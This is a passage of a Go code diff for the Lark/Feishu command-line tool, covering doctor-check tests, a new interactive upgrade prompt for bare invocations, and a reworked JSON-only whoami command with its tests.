if got := findCheck(t, checks, name); got.Status != status {
|
||||
t.Fatalf("%s status = %q, want %q", name, got.Status, status)
|
||||
}
|
||||
}
|
||||
|
||||
func findCheck(t *testing.T, checks []checkResult, name string) checkResult {
|
||||
t.Helper()
|
||||
for _, check := range checks {
|
||||
if check.Name == name {
|
||||
if check.Status != status {
|
||||
t.Fatalf("%s status = %q, want %q", name, check.Status, status)
|
||||
}
|
||||
return
|
||||
return check
|
||||
}
|
||||
}
|
||||
t.Fatalf("check %q not found in %#v", name, checks)
|
||||
return checkResult{}
|
||||
}
|
||||
|
||||
type fakeExtProvider struct {
|
||||
name string
|
||||
account *extcred.Account
|
||||
}
|
||||
|
||||
func (p *fakeExtProvider) Name() string { return p.name }
|
||||
func (p *fakeExtProvider) ResolveAccount(context.Context) (*extcred.Account, error) {
|
||||
return p.account, nil
|
||||
}
|
||||
func (p *fakeExtProvider) ResolveToken(context.Context, extcred.TokenSpec) (*extcred.Token, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// Under an external credential provider with no usable identity, the
|
||||
// identity_ready hint must not point at `auth status` (blocked there); the
|
||||
// per-identity checks already carry the source-appropriate escalation.
|
||||
func TestDoctor_ExternalProvider_IdentityReadyHintNotBlockedCommand(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
if err := core.SaveMultiAppConfig(&core.MultiAppConfig{
|
||||
CurrentApp: "default",
|
||||
Apps: []core.AppConfig{{Name: "default", AppId: "cli_x", AppSecret: core.PlainSecret("secret"), Brand: core.BrandFeishu}},
|
||||
}); err != nil {
|
||||
t.Fatalf("SaveMultiAppConfig() error = %v", err)
|
||||
}
|
||||
|
||||
// Provider serves neither identity: bot unsupported, user supported but not
|
||||
// signed in → both unavailable → identity_ready fails.
|
||||
cfg := &core.CliConfig{AppID: "cli_x", Brand: core.BrandFeishu, SupportedIdentities: uint8(extcred.SupportsUser)}
|
||||
cred := credential.NewCredentialProvider(
|
||||
[]extcred.Provider{&fakeExtProvider{name: "corp-sso", account: &extcred.Account{AppID: "cli_x"}}},
|
||||
nil, nil,
|
||||
func() (*http.Client, error) { return nil, nil },
|
||||
)
|
||||
out := &bytes.Buffer{}
|
||||
f := &cmdutil.Factory{
|
||||
Config: func() (*core.CliConfig, error) { return cfg, nil },
|
||||
Credential: cred,
|
||||
IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: &bytes.Buffer{}},
|
||||
}
|
||||
|
||||
if err := doctorRun(&DoctorOptions{Factory: f, Ctx: context.Background(), Offline: true}); err == nil {
|
||||
t.Fatalf("doctorRun() = nil, want failure when no identity is available")
|
||||
}
|
||||
var got struct {
|
||||
Checks []checkResult `json:"checks"`
|
||||
}
|
||||
if err := json.Unmarshal(out.Bytes(), &got); err != nil {
|
||||
t.Fatalf("json.Unmarshal() error = %v\n%s", err, out.String())
|
||||
}
|
||||
|
||||
ready := findCheck(t, got.Checks, "identity_ready")
|
||||
if ready.Status != "fail" {
|
||||
t.Fatalf("identity_ready status = %q, want fail", ready.Status)
|
||||
}
|
||||
// The summary defers to the per-identity checks; it carries no hint of its
|
||||
// own (a command here would be wrong under an external provider).
|
||||
if ready.Hint != "" {
|
||||
t.Fatalf("identity_ready should carry no hint, got %q", ready.Hint)
|
||||
}
|
||||
user := findCheck(t, got.Checks, "user_identity")
|
||||
if !strings.Contains(user.Hint, "external") || strings.Contains(user.Hint, "auth login") {
|
||||
t.Fatalf("user_identity hint not external-appropriate: %q", user.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -565,7 +565,7 @@ func groupRootCommands(root *cobra.Command) {
|
||||
&cobra.Group{ID: groupTooling, Title: "Agent tooling:"},
|
||||
&cobra.Group{ID: groupManagement, Title: "CLI management:"},
|
||||
)
|
||||
tooling := map[string]bool{"api": true, "schema": true, "skills": true}
|
||||
tooling := map[string]bool{"api": true, "schema": true, "skills": true, "agent": true}
|
||||
management := map[string]bool{"auth": true, "config": true, "profile": true, "doctor": true, "update": true}
|
||||
for _, c := range root.Commands() {
|
||||
if c.GroupID != "" {
|
||||
|
||||
90
cmd/root_upgrade.go
Normal file
90
cmd/root_upgrade.go
Normal file
@@ -0,0 +1,90 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
|
||||
"github.com/larksuite/cli/internal/build"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/update"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// runRootUpgrade locates the registered `update` subcommand and runs it, so the
|
||||
// interactive root-command upgrade reuses exactly `lark-cli update` behavior
|
||||
// (install-method detection, output, error handling). Package-level var so
|
||||
// tests can stub it and avoid real network / self-update.
|
||||
var runRootUpgrade = func(cmd *cobra.Command) {
|
||||
for _, c := range cmd.Root().Commands() {
|
||||
if c.Name() == "update" && c.RunE != nil {
|
||||
_ = c.RunE(c, nil) // update prints its own output/errors; swallow here
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// isBareRootInvocation reports whether this is a bare `lark-cli` (no subcommand,
|
||||
// no flags) — the only invocation that triggers the interactive upgrade prompt.
|
||||
// Mirrors unknownSubcommandRunE's "bare group prints help" branch: args empty
|
||||
// AND no flag tokens in the raw invocation.
|
||||
func isBareRootInvocation(args []string) bool {
|
||||
return len(args) == 0 && len(flagTokensInArgs(rawInvocationArgs)) == 0
|
||||
}
|
||||
|
||||
// readYes reads one line and reports whether it is an affirmative y/yes.
|
||||
// EOF / empty / anything else → false (default No, matching the [y/N] prompt).
|
||||
func readYes(r io.Reader) bool {
|
||||
line, _ := bufio.NewReader(r).ReadString('\n')
|
||||
switch strings.ToLower(strings.TrimSpace(line)) {
|
||||
case "y", "yes":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// offerRootUpgrade prompts for an interactive upgrade when running bare
|
||||
// `lark-cli` in an interactive terminal with a cached newer version. Every
|
||||
// failure is swallowed — it must never affect help output or the exit code.
|
||||
func offerRootUpgrade(f *cmdutil.Factory, cmd *cobra.Command) {
|
||||
ios := f.IOStreams
|
||||
// Gates 1/2/3: need to read stdin AND show the prompt on stderr, and require
|
||||
// stdout TTY too so this only fires in a pure foreground terminal session.
|
||||
if !ios.IsTerminal || !ios.OutIsTerminal || !ios.StderrIsTerminal {
|
||||
return
|
||||
}
|
||||
// Gate 4: cached newer version. CheckCached applies opt-out (shouldSkip)
|
||||
// and the IsNewer/semver validation chain; it reads the on-disk cache that
|
||||
// the 24h-throttled RefreshCache maintains (CheckCached itself has no TTL).
|
||||
info := update.CheckCached(build.Version)
|
||||
if info == nil {
|
||||
return
|
||||
}
|
||||
fmt.Fprintf(ios.ErrOut, "lark-cli %s available (current %s). Upgrade now? [y/N]: ", info.Latest, info.Current)
|
||||
if !readYes(ios.In) {
|
||||
return
|
||||
}
|
||||
runRootUpgrade(cmd)
|
||||
}
|
||||
|
||||
// installRootUpgradePrompt wraps the root command's RunE (set to
|
||||
// unknownSubcommandRunE by installUnknownSubcommandGuard) so a bare `lark-cli`
|
||||
// invocation offers an interactive upgrade before printing help. Non-bare
|
||||
// invocations are passed straight through, unchanged.
|
||||
func installRootUpgradePrompt(f *cmdutil.Factory, root *cobra.Command) {
|
||||
inner := root.RunE
|
||||
if inner == nil {
|
||||
return
|
||||
}
|
||||
root.RunE = func(cmd *cobra.Command, args []string) error {
|
||||
if isBareRootInvocation(args) {
|
||||
offerRootUpgrade(f, cmd)
|
||||
}
|
||||
return inner(cmd, args)
|
||||
}
|
||||
}
|
||||
191
cmd/root_upgrade_test.go
Normal file
191
cmd/root_upgrade_test.go
Normal file
@@ -0,0 +1,191 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/larksuite/cli/internal/build"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func writeUpdateState(t *testing.T, dir, latest string) {
|
||||
t.Helper()
|
||||
data := fmt.Sprintf(`{"latest_version":%q,"checked_at":%d}`, latest, time.Now().Unix())
|
||||
if err := os.WriteFile(filepath.Join(dir, "update-state.json"), []byte(data), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadYes(t *testing.T) {
|
||||
cases := map[string]bool{
|
||||
"y\n": true, "Y\n": true, "yes\n": true, "YES\n": true, " y \n": true,
|
||||
"n\n": false, "\n": false, "": false, "nope\n": false, "yeah\n": false,
|
||||
}
|
||||
for in, want := range cases {
|
||||
if got := readYes(strings.NewReader(in)); got != want {
|
||||
t.Errorf("readYes(%q) = %v, want %v", in, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsBareRootInvocation(t *testing.T) {
|
||||
orig := rawInvocationArgs
|
||||
t.Cleanup(func() { rawInvocationArgs = orig })
|
||||
|
||||
rawInvocationArgs = nil
|
||||
if !isBareRootInvocation([]string{}) {
|
||||
t.Error("empty args + no raw flag tokens should be bare")
|
||||
}
|
||||
rawInvocationArgs = []string{"--profile", "x"}
|
||||
if isBareRootInvocation([]string{}) {
|
||||
t.Error("flag token present → not bare")
|
||||
}
|
||||
rawInvocationArgs = nil
|
||||
if isBareRootInvocation([]string{"im"}) {
|
||||
t.Error("positional arg → not bare")
|
||||
}
|
||||
}
|
||||
|
||||
func TestOfferRootUpgrade(t *testing.T) {
|
||||
origV := build.Version
|
||||
build.Version = "1.0.0" // release version so shouldSkip()==false
|
||||
t.Cleanup(func() { build.Version = origV })
|
||||
|
||||
origRun := runRootUpgrade
|
||||
t.Cleanup(func() { runRootUpgrade = origRun })
|
||||
|
||||
// This test builds a Factory literal (no NewDefault), so it never runs
|
||||
// workspace detection; pin the process-global workspace to Local so
|
||||
// statePath() resolves under LARKSUITE_CLI_CONFIG_DIR rather than a stale
|
||||
// subdir inherited from a prior test in the package.
|
||||
origWS := core.CurrentWorkspace()
|
||||
t.Cleanup(func() { core.SetCurrentWorkspace(origWS) })
|
||||
core.SetCurrentWorkspace(core.WorkspaceLocal)
|
||||
|
||||
cases := []struct {
|
||||
name string
|
||||
in, out, err bool
|
||||
input string
|
||||
latest string // "" → no state file (CheckCached nil)
|
||||
optOut bool
|
||||
wantPrompt, wantRun bool
|
||||
}{
|
||||
{"all-tty+y", true, true, true, "y\n", "2.0.0", false, true, true},
|
||||
{"all-tty+yes", true, true, true, "yes\n", "2.0.0", false, true, true},
|
||||
{"all-tty+n", true, true, true, "n\n", "2.0.0", false, true, false},
|
||||
{"all-tty+empty", true, true, true, "\n", "2.0.0", false, true, false},
|
||||
{"all-tty+eof", true, true, true, "", "2.0.0", false, true, false},
|
||||
{"stdin-not-tty", false, true, true, "y\n", "2.0.0", false, false, false},
|
||||
{"stdout-not-tty", true, false, true, "y\n", "2.0.0", false, false, false},
|
||||
{"stderr-not-tty", true, true, false, "y\n", "2.0.0", false, false, false},
|
||||
{"no-newer-version", true, true, true, "y\n", "", false, false, false},
|
||||
{"already-latest", true, true, true, "y\n", "1.0.0", false, false, false}, // post-upgrade: current == cached latest → no prompt
|
||||
{"cache-older-than-current", true, true, true, "y\n", "0.9.0", false, false, false},
|
||||
{"opt-out", true, true, true, "y\n", "2.0.0", true, false, false},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", dir)
|
||||
// Clear env that update.shouldSkip treats as "suppress" so the
|
||||
// test is deterministic regardless of host (GitHub Actions sets
|
||||
// CI=true, which would otherwise suppress the prompt).
|
||||
t.Setenv("CI", "")
|
||||
t.Setenv("BUILD_NUMBER", "")
|
||||
t.Setenv("RUN_ID", "")
|
||||
t.Setenv("LARKSUITE_CLI_NO_UPDATE_NOTIFIER", "")
|
||||
if tc.latest != "" {
|
||||
writeUpdateState(t, dir, tc.latest)
|
||||
}
|
||||
if tc.optOut {
|
||||
t.Setenv("LARKSUITE_CLI_NO_UPDATE_NOTIFIER", "1")
|
||||
}
|
||||
called := false
|
||||
runRootUpgrade = func(*cobra.Command) { called = true }
|
||||
|
||||
var errBuf bytes.Buffer
|
||||
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{
|
||||
In: strings.NewReader(tc.input),
|
||||
Out: &bytes.Buffer{},
|
||||
ErrOut: &errBuf,
|
||||
IsTerminal: tc.in,
|
||||
OutIsTerminal: tc.out,
|
||||
StderrIsTerminal: tc.err,
|
||||
}}
|
||||
offerRootUpgrade(f, &cobra.Command{})
|
||||
|
||||
gotPrompt := strings.Contains(errBuf.String(), "available")
|
||||
if gotPrompt != tc.wantPrompt {
|
||||
t.Errorf("prompt: got %v want %v (stderr=%q)", gotPrompt, tc.wantPrompt, errBuf.String())
|
||||
}
|
||||
if called != tc.wantRun {
|
||||
t.Errorf("runRootUpgrade called: got %v want %v", called, tc.wantRun)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstallRootUpgradePromptPreservesInner(t *testing.T) {
|
||||
orig := rawInvocationArgs
|
||||
t.Cleanup(func() { rawInvocationArgs = orig })
|
||||
rawInvocationArgs = nil
|
||||
|
||||
innerCalls := 0
|
||||
root := &cobra.Command{Use: "lark-cli"}
|
||||
root.RunE = func(cmd *cobra.Command, args []string) error { innerCalls++; return nil }
|
||||
|
||||
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{
|
||||
In: strings.NewReader(""), Out: &bytes.Buffer{}, ErrOut: &bytes.Buffer{},
|
||||
}}
|
||||
installRootUpgradePrompt(f, root)
|
||||
|
||||
if err := root.RunE(root, []string{}); err != nil {
|
||||
t.Fatalf("bare RunE err = %v", err)
|
||||
}
|
||||
if err := root.RunE(root, []string{"im"}); err != nil {
|
||||
t.Fatalf("non-bare RunE err = %v", err)
|
||||
}
|
||||
if innerCalls != 2 {
|
||||
t.Errorf("inner RunE should run for both bare and non-bare, got %d", innerCalls)
|
||||
}
|
||||
}
|
||||
|
||||
// TestRunRootUpgradeDispatchesToUpdate covers the real runRootUpgrade dispatch
|
||||
// path (not the stub used elsewhere): from any command it must locate the
|
||||
// registered "update" subcommand via cmd.Root() and invoke its RunE.
|
||||
func TestRunRootUpgradeDispatchesToUpdate(t *testing.T) {
|
||||
root := &cobra.Command{Use: "lark-cli"}
|
||||
ran := 0
|
||||
root.AddCommand(&cobra.Command{Use: "update", RunE: func(*cobra.Command, []string) error { ran++; return nil }})
|
||||
child := &cobra.Command{Use: "im"}
|
||||
root.AddCommand(child)
|
||||
|
||||
runRootUpgrade(child) // child.Root() resolves to root, which has "update"
|
||||
|
||||
if ran != 1 {
|
||||
t.Errorf("runRootUpgrade should locate and run update's RunE once, got %d", ran)
|
||||
}
|
||||
}
|
||||
|
||||
// TestInstallRootUpgradePromptNilInnerNoop covers the inner == nil guard:
|
||||
// when root has no RunE, installRootUpgradePrompt must not wrap it.
|
||||
func TestInstallRootUpgradePromptNilInnerNoop(t *testing.T) {
|
||||
root := &cobra.Command{Use: "lark-cli"} // RunE is nil
|
||||
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{
|
||||
In: strings.NewReader(""), Out: &bytes.Buffer{}, ErrOut: &bytes.Buffer{},
|
||||
}}
|
||||
installRootUpgradePrompt(f, root)
|
||||
if root.RunE != nil {
|
||||
t.Error("installRootUpgradePrompt must not wrap a nil RunE (inner==nil guard)")
|
||||
}
|
||||
}
|
||||
@@ -5,8 +5,6 @@ package whoami
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
@@ -17,6 +15,13 @@ import (
|
||||
)
|
||||
|
||||
// whoamiResult is the structured output of `lark-cli whoami`.
|
||||
//
|
||||
// The self-vs-delegated distinction is carried by `identity`: a bot identity is
|
||||
// the app acting as itself; a user identity is the app acting *on behalf of* a
|
||||
// person (calls are attributed to that user, who is not necessarily present).
|
||||
// onBehalfOf only *names* that person and so appears only once a user is
|
||||
// resolved — a user identity that is not signed in still has identity "user"
|
||||
// but no onBehalfOf yet. Do not read "no onBehalfOf" as "self"; read `identity`.
|
||||
type whoamiResult struct {
|
||||
Profile string `json:"profile"`
|
||||
AppID string `json:"appId"`
|
||||
@@ -26,34 +31,44 @@ type whoamiResult struct {
|
||||
IdentitySource string `json:"identitySource"`
|
||||
Available bool `json:"available"`
|
||||
TokenStatus string `json:"tokenStatus"`
|
||||
OpenID string `json:"openId,omitempty"`
|
||||
UserName string `json:"userName,omitempty"`
|
||||
OnBehalfOf *delegatedUser `json:"onBehalfOf,omitempty"`
|
||||
Hint string `json:"hint,omitempty"`
|
||||
}
|
||||
|
||||
// delegatedUser is the user a user-identity acts on behalf of.
|
||||
type delegatedUser struct {
|
||||
UserName string `json:"userName,omitempty"`
|
||||
OpenID string `json:"openId,omitempty"`
|
||||
}
|
||||
|
||||
// Options holds inputs for the whoami command.
|
||||
type Options struct {
|
||||
Factory *cmdutil.Factory
|
||||
As string
|
||||
JSON bool
|
||||
}
|
||||
|
||||
// NewCmdWhoami creates the top-level whoami command. It reports the identity
|
||||
// that the next API call would actually use (resolved via Factory.ResolveAs),
|
||||
// together with the active profile, app, and token status. It is local-only:
|
||||
// no network calls are made.
|
||||
// together with the active profile, app, and token status. Output is always
|
||||
// JSON — whoami is consumed by agents. With the built-in credential path it is
|
||||
// local-only; when an external credential provider manages tokens, resolving
|
||||
// the identity may contact that provider.
|
||||
func NewCmdWhoami(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &Options{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "whoami",
|
||||
Short: "Show the current effective identity, app, profile, and token status",
|
||||
Short: "Show the current effective identity, app, profile, and token status (JSON)",
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
return whoamiRun(cmd, opts)
|
||||
},
|
||||
}
|
||||
cmdutil.DisableAuthCheck(cmd)
|
||||
cmdutil.AddAPIIdentityFlag(context.Background(), cmd, f, &opts.As)
|
||||
cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
|
||||
// Output is always JSON. Accept (and ignore) --json so existing
|
||||
// `whoami --json` callers don't break; hide it to avoid implying a non-JSON
|
||||
// mode exists.
|
||||
cmd.Flags().Bool("json", true, "deprecated: output is always JSON")
|
||||
_ = cmd.Flags().MarkHidden("json")
|
||||
cmdutil.SetRisk(cmd, "read")
|
||||
return cmd
|
||||
}
|
||||
@@ -67,10 +82,11 @@ func whoamiRun(cmd *cobra.Command, opts *Options) error {
|
||||
ctx := cmd.Context()
|
||||
flagAs := core.Identity(opts.As)
|
||||
as := f.ResolveAs(ctx, cmd, flagAs)
|
||||
// Reject an explicit --as that does not resolve to a usable identity, so a
|
||||
// typo like `--as admin` fails clearly instead of echoing back a bogus
|
||||
// identity. Keeps the §5.1 invariant (identity is always user or bot) and
|
||||
// matches how api/service/shortcut commands validate the resolved identity.
|
||||
// Validate as a real API call does (strict mode, then identity) so whoami
|
||||
// can't preview an identity the next call would refuse.
|
||||
if err := f.CheckStrictMode(ctx, as); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := f.CheckIdentity(as, []string{"user", "bot"}); err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -82,11 +98,7 @@ func whoamiRun(cmd *cobra.Command, opts *Options) error {
|
||||
)
|
||||
diag := identitydiag.Diagnose(ctx, f, cfg, false)
|
||||
res := buildResult(cfg, as, source, diag)
|
||||
if opts.JSON {
|
||||
output.PrintJson(f.IOStreams.Out, res)
|
||||
return nil
|
||||
}
|
||||
formatPretty(f.IOStreams.Out, res)
|
||||
output.PrintJson(f.IOStreams.Out, res)
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -94,17 +106,18 @@ func whoamiRun(cmd *cobra.Command, opts *Options) error {
|
||||
// Mirrors Factory.ResolveAs precedence: explicit flag wins; otherwise an
|
||||
// auto-detected result means auto-detect; otherwise a strict-mode forced
|
||||
// identity means strict-mode; otherwise it came from configured default-as.
|
||||
// Values are snake_case to match the other enum fields (e.g. tokenStatus).
|
||||
func resolveSource(changedAs bool, flagAs core.Identity, autoDetected bool, strictForced core.Identity) string {
|
||||
if changedAs && (flagAs == core.AsUser || flagAs == core.AsBot) {
|
||||
return "flag"
|
||||
}
|
||||
if autoDetected {
|
||||
return "auto-detect"
|
||||
return "auto_detect"
|
||||
}
|
||||
if strictForced != "" {
|
||||
return "strict-mode"
|
||||
return "strict_mode"
|
||||
}
|
||||
return "default-as"
|
||||
return "default_as"
|
||||
}
|
||||
|
||||
// buildResult maps the resolved identity and local diagnostics into the output.
|
||||
@@ -122,46 +135,29 @@ func buildResult(cfg *core.CliConfig, as core.Identity, source string, diag iden
|
||||
Identity: string(as),
|
||||
IdentitySource: source,
|
||||
}
|
||||
// Use the diagnosed hint as-is: it is tailored to the credential source, so
|
||||
// it never says "auth login" when that is blocked under an external provider.
|
||||
switch as {
|
||||
case core.AsBot:
|
||||
res.Available = diag.Bot.Available
|
||||
res.TokenStatus = diag.Bot.Status
|
||||
if !diag.Bot.Available {
|
||||
res.Hint = "Bot identity not configured. Set app secret or bot token (see `lark-cli config --help`)."
|
||||
res.Hint = diag.Bot.Hint
|
||||
}
|
||||
default: // user
|
||||
res.Available = diag.User.Available
|
||||
res.OpenID = diag.User.OpenID
|
||||
res.UserName = diag.User.UserName
|
||||
res.TokenStatus = diag.User.TokenStatus
|
||||
if res.TokenStatus == "" {
|
||||
res.TokenStatus = "missing"
|
||||
// Use Status (not the raw TokenStatus) so the vocab matches the bot
|
||||
// branch: "ready" means usable for both. available stays the canonical
|
||||
// usable signal; tokenStatus is the readable state behind it.
|
||||
res.TokenStatus = diag.User.Status
|
||||
// Set onBehalfOf only when a user is actually resolved; an unresolved
|
||||
// user identity (not signed in) has no one to act on behalf of yet.
|
||||
if diag.User.UserName != "" || diag.User.OpenID != "" {
|
||||
res.OnBehalfOf = &delegatedUser{UserName: diag.User.UserName, OpenID: diag.User.OpenID}
|
||||
}
|
||||
if !diag.User.Available {
|
||||
res.Hint = "No usable user token. Run `lark-cli auth login`."
|
||||
res.Hint = diag.User.Hint
|
||||
}
|
||||
}
|
||||
return res
|
||||
}
|
||||
|
||||
// formatPretty writes the human-readable one-glance summary.
|
||||
func formatPretty(w io.Writer, r *whoamiResult) {
|
||||
fmt.Fprintf(w, "Profile: %s (%s, %s)\n", r.Profile, r.AppID, r.Brand)
|
||||
fmt.Fprintf(w, "Identity: %s (%s)\n", r.Identity, r.IdentitySource)
|
||||
if r.Identity == string(core.AsUser) && r.UserName != "" {
|
||||
if r.OpenID != "" {
|
||||
fmt.Fprintf(w, "User: %s (%s)\n", r.UserName, r.OpenID)
|
||||
} else {
|
||||
fmt.Fprintf(w, "User: %s\n", r.UserName)
|
||||
}
|
||||
}
|
||||
token := r.TokenStatus
|
||||
if !r.Available && r.Hint != "" {
|
||||
token = r.TokenStatus + " — " + r.Hint
|
||||
}
|
||||
// Write the label and value as separate %s args rather than one combined
|
||||
// literal. A single label-colon-value literal trips the public-content
|
||||
// credential scanner as a false-positive credential assignment; splitting
|
||||
// the args avoids it while producing identical output.
|
||||
fmt.Fprintf(w, "%s%s\n", "Token: ", token)
|
||||
}
|
||||
|
||||
@@ -5,15 +5,19 @@ package whoami
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
extcred "github.com/larksuite/cli/extension/credential"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/credential"
|
||||
"github.com/larksuite/cli/internal/identitydiag"
|
||||
)
|
||||
|
||||
@@ -28,10 +32,10 @@ func TestResolveSource(t *testing.T) {
|
||||
}{
|
||||
{"explicit flag user", true, core.AsUser, false, "", "flag"},
|
||||
{"explicit flag bot", true, core.AsBot, false, "", "flag"},
|
||||
{"flag auto falls through to auto-detect", true, core.AsAuto, true, "", "auto-detect"},
|
||||
{"auto detected", false, "", true, "", "auto-detect"},
|
||||
{"strict mode", false, "", false, core.AsBot, "strict-mode"},
|
||||
{"default-as", false, "", false, "", "default-as"},
|
||||
{"flag auto falls through to auto-detect", true, core.AsAuto, true, "", "auto_detect"},
|
||||
{"auto detected", false, "", true, "", "auto_detect"},
|
||||
{"strict mode", false, "", false, core.AsBot, "strict_mode"},
|
||||
{"default_as", false, "", false, "", "default_as"},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
@@ -46,18 +50,19 @@ func TestResolveSource(t *testing.T) {
|
||||
func TestBuildResult_UserValid(t *testing.T) {
|
||||
cfg := &core.CliConfig{ProfileName: "my-app", AppID: "cli_x", Brand: core.BrandLark, DefaultAs: core.AsAuto}
|
||||
diag := identitydiag.Result{
|
||||
User: identitydiag.Identity{Available: true, TokenStatus: "valid", OpenID: "ou_x", UserName: "Alice"},
|
||||
User: identitydiag.Identity{Available: true, Status: "ready", TokenStatus: "valid", OpenID: "ou_x", UserName: "Alice"},
|
||||
}
|
||||
r := buildResult(cfg, core.AsUser, "auto-detect", diag)
|
||||
r := buildResult(cfg, core.AsUser, "auto_detect", diag)
|
||||
|
||||
if r.Identity != "user" || r.IdentitySource != "auto-detect" {
|
||||
if r.Identity != "user" || r.IdentitySource != "auto_detect" {
|
||||
t.Fatalf("identity/source = %q/%q", r.Identity, r.IdentitySource)
|
||||
}
|
||||
if !r.Available || r.TokenStatus != "valid" {
|
||||
// tokenStatus mirrors the unified Status vocab ("ready"), not the raw "valid".
|
||||
if !r.Available || r.TokenStatus != "ready" {
|
||||
t.Fatalf("available=%v status=%q", r.Available, r.TokenStatus)
|
||||
}
|
||||
if r.OpenID != "ou_x" || r.UserName != "Alice" {
|
||||
t.Fatalf("openId/userName = %q/%q", r.OpenID, r.UserName)
|
||||
if r.OnBehalfOf == nil || r.OnBehalfOf.OpenID != "ou_x" || r.OnBehalfOf.UserName != "Alice" {
|
||||
t.Fatalf("onBehalfOf = %#v, want Alice/ou_x", r.OnBehalfOf)
|
||||
}
|
||||
if r.Hint != "" {
|
||||
t.Fatalf("hint = %q, want empty", r.Hint)
|
||||
@@ -70,9 +75,9 @@ func TestBuildResult_UserValid(t *testing.T) {
|
||||
func TestBuildResult_UserMissingToken(t *testing.T) {
|
||||
cfg := &core.CliConfig{ProfileName: "p", AppID: "cli_x", Brand: core.BrandLark}
|
||||
diag := identitydiag.Result{
|
||||
User: identitydiag.Identity{Available: false, TokenStatus: ""}, // never logged in
|
||||
User: identitydiag.Identity{Available: false, Status: "missing", Hint: "run: lark-cli auth login --help"}, // never logged in
|
||||
}
|
||||
r := buildResult(cfg, core.AsUser, "auto-detect", diag)
|
||||
r := buildResult(cfg, core.AsUser, "auto_detect", diag)
|
||||
|
||||
if r.Available {
|
||||
t.Fatalf("available = true, want false")
|
||||
@@ -80,8 +85,10 @@ func TestBuildResult_UserMissingToken(t *testing.T) {
|
||||
if r.TokenStatus != "missing" {
|
||||
t.Fatalf("tokenStatus = %q, want missing", r.TokenStatus)
|
||||
}
|
||||
if r.Hint == "" {
|
||||
t.Fatalf("hint empty, want guidance")
|
||||
// whoami renders the diagnosed hint verbatim (single source of truth) so it
|
||||
// stays correct for the external-provider path without whoami knowing about it.
|
||||
if r.Hint != diag.User.Hint {
|
||||
t.Fatalf("hint = %q, want propagated %q", r.Hint, diag.User.Hint)
|
||||
}
|
||||
if r.DefaultAs != "auto" {
|
||||
t.Fatalf("defaultAs = %q, want auto (empty normalized)", r.DefaultAs)
|
||||
@@ -93,16 +100,16 @@ func TestBuildResult_BotReady(t *testing.T) {
|
||||
diag := identitydiag.Result{
|
||||
Bot: identitydiag.Identity{Available: true, Status: "ready"},
|
||||
}
|
||||
r := buildResult(cfg, core.AsBot, "default-as", diag)
|
||||
r := buildResult(cfg, core.AsBot, "default_as", diag)
|
||||
|
||||
if r.Identity != "bot" || r.IdentitySource != "default-as" {
|
||||
if r.Identity != "bot" || r.IdentitySource != "default_as" {
|
||||
t.Fatalf("identity/source = %q/%q", r.Identity, r.IdentitySource)
|
||||
}
|
||||
if !r.Available || r.TokenStatus != "ready" {
|
||||
t.Fatalf("available=%v status=%q", r.Available, r.TokenStatus)
|
||||
}
|
||||
if r.OpenID != "" || r.UserName != "" {
|
||||
t.Fatalf("bot must not carry openId/userName: %#v", r)
|
||||
if r.OnBehalfOf != nil {
|
||||
t.Fatalf("bot must not carry onBehalfOf: %#v", r.OnBehalfOf)
|
||||
}
|
||||
if r.Hint != "" {
|
||||
t.Fatalf("hint = %q, want empty", r.Hint)
|
||||
@@ -112,9 +119,9 @@ func TestBuildResult_BotReady(t *testing.T) {
|
||||
func TestBuildResult_BotNotConfigured(t *testing.T) {
|
||||
cfg := &core.CliConfig{ProfileName: "p", AppID: "cli_x", Brand: core.BrandFeishu}
|
||||
diag := identitydiag.Result{
|
||||
